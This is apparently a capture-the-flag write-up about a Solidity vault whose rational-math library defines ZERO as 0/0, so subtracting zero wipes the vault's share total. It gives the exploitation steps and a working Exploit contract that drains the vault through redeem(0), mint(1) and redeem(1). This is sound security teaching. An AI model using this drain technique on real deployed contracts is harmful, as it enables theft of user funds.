β 7. Rational
rational-math ZERO representation
Codebase walkthrough
This is a vault implementation using rational math. The original rational math lib can be found here: https://github.com/MiloTruck/rational-math/blob/master/src/Rational.sol.
The idea is to store numerator in high 128 bits and store denominator in low 128 bit. Then add sub multiply divide become 4 formulae where you can compute its numerator part and denominator part independently. By doing so you avoid doing division and kind of solve precision loss systematically.
Comment: Why βkind ofβ? Because in each step you have to simplify the rational number to avoid overflow (recall that the upper bound is only 2^128 - 1 now). Simplification just means dividing numerator and denominator by gcd. The probability of two non-equal integers to be coprime is 6 / (pi)^2, which is around 60% (https://math.stackexchange.com/questions/64498/probability-that-two-random-numbers-are-coprime-is-frac6-pi2). Being coprime means gcd = 1 therefore canβt be simplified. Also you have to consider the probability that the gcd is very small therefore simplification has little effect. In conclusion, the idea of rational number is great but after doing multiplication for many rounds you will trigger overflow protection, so this approach is not widely adopted.
Bug description
The vulnerability exists in the sub
function of the Rational
library, which violates the fundamental mathematical property that x - 0 = x
. This breaks the vault's share accounting mechanism and allows complete fund drainage.
The bug stems from how ZERO
is defined and handled in arithmetic operations:
Rational constant ZERO = Rational.wrap(0);
Rational.wrap(0)
creates a rational number with both numerator and denominator as 0 (representing 0/0
), not the mathematically correct 0/1
. When this malformed zero is used in subtraction, it corrupts the calculation.
(In the original codebase it was Rational constant ZERO = Rational.wrap(1);
)
In the sub
function, when subtracting zero from any rational number:
function sub(Rational x, Rational y) pure returns (Rational) {
(uint256 xNumerator, uint256 xDenominator) = fromRational(x);
(uint256 yNumerator, uint256 yDenominator) = fromRational(y);
if (yNumerator != 0) require(xNumerator != 0, "Underflow");
// (a / b) - (c / d) = (ad - cb) / bd
uint256 numerator = xNumerator * yDenominator - yNumerator * xDenominator;
uint256 denominator = xDenominator * yDenominator;
return toRational(numerator, denominator);
}
When y = ZERO
(which is 0/0
):
yNumerator = 0
,yDenominator = 0
numerator = xNumerator * 0 - 0 * xDenominator = 0
denominator = xDenominator * 0 = 0
Result:
toRational(0, 0)
returnsZERO
Therefore, any number minus zero equals zero, which is mathematically incorrect.
Exploitation Path:
The vault uses rational numbers for share tracking. The attacker exploits this bug to corrupt the totalShares
variable:
Initial State: Vault has 5000e18 tokens,
totalShares = 5000e18/1
redeem(0): Subtracting zero corrupts the state:
totalShares = totalShares - 0 = ZERO // BUG: should remain unchanged
mint(1): With
totalShares = ZERO
, the vault thinks it's empty:if (totalShares == RationalLib.ZERO) return RationalLib.fromUint128(assets);
The attacker gets 1 share for 1 token, and
totalShares
becomes1/1
.redeem(1): The attacker now owns 100% of shares (
1/1
out of1/1
), so they can withdraw the entire vault balance.
PoC
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.20;
import { Setup } from "src/rational/Setup.sol";
contract Exploit {
Setup setup;
constructor(Setup _setup) {
setup = _setup;
}
function solve() external {
// Claim 1000 GREY tokens
setup.claim();
// EXPLOIT: Redeem 0 shares to corrupt totalShares
// Due to the bug: totalShares - 0 = 0 (instead of totalShares)
setup.vault().redeem(0);
// Mint 1 share for only 1 token (vault thinks it's empty)
setup.grey().approve(address(setup.vault()), 1);
setup.vault().mint(1);
// Redeem 1 share = 100% ownership = entire vault balance
setup.vault().redeem(1);
// Transfer all 6000 GREY to caller
setup.grey().transfer(msg.sender, 6000e18);
}
}
Last updated